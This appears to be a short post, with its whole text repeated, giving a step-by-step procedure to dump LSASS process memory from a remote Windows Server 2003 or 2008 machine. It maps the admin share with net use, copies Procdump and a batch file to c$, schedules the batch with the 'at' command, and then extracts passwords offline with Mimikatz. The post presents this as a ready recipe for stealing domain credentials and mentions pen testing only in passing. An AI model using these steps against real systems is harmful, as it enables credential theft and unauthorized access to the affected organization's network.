Dump Lsass of target server
Here Targetserver is windows server 2003 0r 2008 here Lsass.exe verifies users logging on to a Windows computer or server, handles password changes
you need to at least have user privileges to connect to the admin share on the box through net use command,with this what you do is you gain Domain Credentials from user.can be very helpful in pen testing
1 use net use command to connect to target server
2 copy Procdump.exe (From sysinternal) to \\targetserver\c$
3 copy procdump.bat to \\targetserver\c$
4 use these commands in bat file procdump.exe -ma lsass.exe
5 at \\targetserver 13:37 c:\procdump.bat
Use mimkatz at home to get password from lsass
Game over🤭
Here Targetserver is windows server 2003 0r 2008 here Lsass.exe verifies users logging on to a Windows computer or server, handles password changes
you need to at least have user privileges to connect to the admin share on the box through net use command,with this what you do is you gain Domain Credentials from user.can be very helpful in pen testing
1 use net use command to connect to target server
2 copy Procdump.exe (From sysinternal) to \\targetserver\c$
3 copy procdump.bat to \\targetserver\c$
4 use these commands in bat file procdump.exe -ma lsass.exe
5 at \\targetserver 13:37 c:\procdump.bat
Use mimkatz at home to get password from lsass
Game over🤭